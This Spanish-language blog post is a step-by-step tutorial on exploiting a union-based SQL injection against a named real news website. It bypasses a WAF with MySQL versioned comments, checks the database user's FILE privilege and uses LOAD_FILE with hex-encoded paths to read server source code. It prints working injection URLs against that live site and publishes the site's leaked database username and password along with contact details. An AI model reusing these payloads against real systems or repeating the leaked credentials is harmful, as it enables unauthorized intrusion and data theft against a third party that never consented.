Nuevas Entradas

Full Source Disclosure por SQLI

by hdbreaker

Reseña:
¿Full Source Disclosure?

Full source disclosure, es una vulnerabilidad la cúal se basa en la descarga o visualización de archivos del servidor web, con la cúal podemos llegar a ver el respectivo codigo del archivo

¿WAF?

Un WAF (Web Application Firewall) es un dispositivo hardware o software que permite proteger los servidores de aplicaciones web de determinados ataques específicos en Internet. Se controlan las transacciones al servidor web de nuestro negocio.
Básicamente nos permite evitar (entre otras) los siguientes ataques:
Cross-site scripting que consiste en la inclusión de código script malicioso en el cliente que consulta el servidor web.
SQL injection que consiste en introducir un código SQL que vulnere la Base de Datos de nuestro servidor.
Denial-of-service que consiste en que el servidor de aplicación sea incapaz de servir peticiones correctas de usuarios.
Hay 2 tipos de WAF: Los que se residen en la red (es decir son un elemento más de la red) y los que se basan en el servidor de aplicaciones (residen en el servidor).

¿SQL Injection?

Se dice que existe o se produjo una inyección SQL cuando, de alguna manera, se inserta o "inyecta" código SQL invasor dentro del código SQL programado, a fin de alterar el funcionamiento normal del programa y lograr así que se ejecute la porción de código "invasor" incrustado, en la base de datos.

En en esta entrada no tocaremos el tema desde cero, para los que no conozcan del tema pueden profundizar en los siguientes links:

http://www.antrax-labs.org/2012/01/sql-injection-desde-cero.html
http://arthusu.blogspot.com.ar/2013/04/blind-sqli-boolean-based-mysql.html
http://arthusu.blogspot.com.ar/2013/06/sqli-bypassenado-el-firewall-y-pasando.html

Comenzamos:
 
En esta entrada analizaremos el siguiente sitio vulnerable a SQLI:

http://www.lasemana.es/periodico/noticia.php?cod=34689


Luego de explotar el sqli y Bypassear el WAF:



Vector:

http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,0x6864627265616b6572,version(),6,user(),8,@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c

como podemos ver, la inyección es Union Based, y el WAF solo filtra union y select, ahora mi pregunta es si el usuario

lasema@localhost

Tiene privilegios File, nos fijamos de la siguiente manera:

Dentro de information_schema existe una tabla llamada

USER_PRIVILEGES,

Dentro de esta tabla existe 2 campos que nos interesan:

GRANTEE: Posee los nombre de usuario de la base de datos.
PRIVILEGE_TYPE: Tipo de privilegio que tiene el usuario.

entonces la logica, nos dice que tenemos que formular algo como esto:

select * from information_schema.USER_PRIVILEGES;

pero esto nos devolvería todos el contenido de la tabla y
nosotros solo queremos saber que permisos tiene: "lasema@localhost"   y especificamente si tiene el permiso FILE, a mi se me ocurre algo como esto:

SELECT GRANTEE FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE PRIVILEGE_TYPE="FILE";

esto nos mostraría todos los usuarios que tienen permisos FILE en la base de datos, entre eso buscaremos si se encuentra "lasema@localhost"

entonces acoplamos nuestra query sql a nuestra sentencia SQLI quedando de esta forma:

http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),group_concat(GRANTEE),@@datadir,10,11,12,13,14,15,16 from information_schema.USER_PRIVILEGES WHERE PRIVILEGE_TYPE=0x46494c45 limit 1,1-- -c

donde 0x46494c45 es el hexadecimal de FILE (Esto lo hacemos ya que no podemos encapsular FILE entre ' ' o " ")

vemos que nos muestra lo siguiente:



podemos ver que al usar group_concat, la injection no logra ser completamente visible desde la interface de usuario, por lo que nos aventuraremos a ver el Source Code y buscando la palabra root nos posicionaremos sobre la linea de la injection:



Como podemos observar "lasema" aparece en esa linea, por lo que podemos determinar que el usuario "lasema@localhost" tiene permisos de FILE y podemos realizar lectura de archivo.

Para esto implementaremos nuestro querido:

LOAD_FILE("RUTA/ARCHIVO")

Lo primero que debemos lograr es un Full Patch Disclosure para obtener donde estamos parados, para esto vamos a intentar generar un error con caracteres no validos para la web:

Para profundizar sobre FPD:
http://securityec.com/que-full-path-disclosure-fpdes-una-vulnerabilidad/




podemos apreciar:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/docs/lasemana.es/periodico/noticia.php on line 8

donde mysql nos vuelve a dar una mano y nos revela nuestro patch:
/var/www/docs/lasemana.es/periodico/noticia.php

Recapitulando:

Gracias a nuestro usuario "lasema@localhost" que posee privilegios de FILE podremos realizar LOAD_FILE(RUTA) donde RUTA el path de nuestro FPD!

Manos a la Obra:

Nuestra SQLI quedaría de la siguiente forma:

http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),LOAD_FILE(0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870),@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c

Donde
0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870 
es el hexadeciman de: /var/www/docs/lasemana.es/periodico/noticia.php (Ruta de nuestro Path Disclouse)



visitamos el código fuente de la web:



y vemos muy claramente, el usuario y password de la base de datos:

$usuario = "lasema";

$contraseña = "arcaliso";

$conexion = mysql_connect("localhost", "$usuario","$contraseña") or mail ("sms@alisys.net","607720916","Se ha caido el Servidor","From: SOPORTE <soporte@lasemana.es>");


Happy Hacking!

Share this:

 
Copyright © 2014 Security Signal.
Designed by OddThemes | Distributed By Gooyaabi Templates